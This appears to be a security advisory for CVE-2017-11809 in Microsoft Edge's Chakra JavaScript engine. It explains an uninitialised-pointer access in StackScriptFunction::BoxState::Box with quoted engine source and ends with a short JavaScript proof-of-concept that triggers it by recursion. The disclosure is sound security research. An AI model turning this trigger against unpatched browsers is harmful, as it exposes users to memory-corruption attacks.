Microsoft Edge: Chakra: Accesses to uninitialized pointers in StackScriptFunction::BoxState::Box
CVE-2017-11809
Here's a snippet of the method that interprets a javascript function's bytecode.
Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)
if (!this->closureInitDone)
{
Assert(this->m_reader.GetCurrentOffset() == 0);
this->InitializeClosures(); <<------- (b)
}
...
... interprets the bytecode
...
At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.
void StackScriptFunction::BoxState::Box()
{
...
if (callerFunctionBody->DoStackScopeSlots())
{
Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
if (stackScopeSlots)
{
Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
}
...
...
"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.
It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.
PoC:
function trigger() {
let a, b, c;
function g() {
trigger();
a, b, c;
}
g();
}
trigger();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
